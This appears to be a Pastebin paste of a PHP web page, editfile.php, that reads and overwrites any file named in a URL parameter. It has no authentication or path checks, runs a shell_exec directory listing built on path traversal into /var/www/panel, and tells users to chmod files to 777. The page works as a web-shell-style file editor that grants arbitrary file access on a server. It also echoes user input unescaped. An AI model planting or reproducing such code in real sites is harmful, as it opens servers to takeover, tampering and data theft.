Advertisement
Guest User

Untitled

a guest
Dec 13th, 2010
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.19 KB | None | 0 0
  1. <style>
  2. body {
  3. font-family: Arial;
  4. font-size: 12px;
  5. color: #F2F2F2;
  6. background-color: #262626;
  7. }
  8. input.btn {
  9. color:#000000;
  10. font-family: "Arial";
  11. background-color:#fed;
  12. border: 1px solid;
  13. border-color: #ffffff;
  14. filter:progid:DXImageTransform.Microsoft.Gradient
  15. (GradientType=0,StartColorStr='#ffffffff',EndColorStr='#ffcccccc');
  16. }
  17. textarea {
  18. font-family: Arial;
  19. font-size: 12px;
  20. color: #E6E6E6;
  21. background-color: #4D4D4D;
  22. }
  23.  
  24. </style>
  25. <body>
  26. <?php
  27. $filename = $_GET['file'];
  28. $newdata = $_POST['newd'];
  29. $execute = $_GET['command'];
  30.  
  31. // Change this to your current directory
  32. $dir = "";
  33.  
  34. $output = shell_exec('dir ../../../../../../../var/www/panel/');
  35.  
  36.  
  37. if ($newdata != '') {
  38.  
  39. $fw = fopen($filename, 'w') or die("Could not open the file<br>
  40. $filename might not have the correct permissions.
  41. <br><br>
  42. <b>What you can try:</b>
  43. <ul>
  44. <li>Chmod $filename to 777</li>
  45. </ul>
  46. <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
  47.  
  48. $fb = fwrite($fw,stripslashes($newdata)) or die("Could not write to file<br>
  49. $filename might not have the correct permissions.
  50. <br><br>
  51. <b>What you can try:</b>
  52. <ul>
  53. <li>Chmod $filename to 777</li>
  54. </ul>
  55. <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
  56.  
  57. fclose($fw);
  58. }
  59.  
  60.  
  61. $fh = fopen($filename, "r") or die("<form method='get' action='editfile.php'>File to edit:<br><input type='text' name='file'>&nbsp;<input type='submit' class='btn' value='Submit'></form><br><br><b>Current Files</b><i>($dir)</i><b>:</b><br><pre>$output</pre>");
  62.  
  63. $data = fread($fh, filesize($filename)) or die("Could not read the file!<br>
  64. $filename could be a folder, which will not allow you to edit it.
  65. <br><br>
  66. <b>What you can try:</b>
  67. <ul>
  68. <li>Chmod $filename to 777</li>
  69. <li>Check and see if its a folder</li>
  70. </ul>
  71. <br><br>
  72. <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
  73.  
  74. fclose($fh);
  75.  
  76. echo "<h3>Editing: <i>$filename</i></h3>
  77. <form action='$_SERVER[php_self]' method= 'post' >
  78. <textarea name='newd' cols='100' rows='30'> $data </textarea>
  79. <br /><input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'> <input type='submit' class='btn' value='Save File'>
  80. </form>";
  81. ?>
  82. </shit>
  83. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement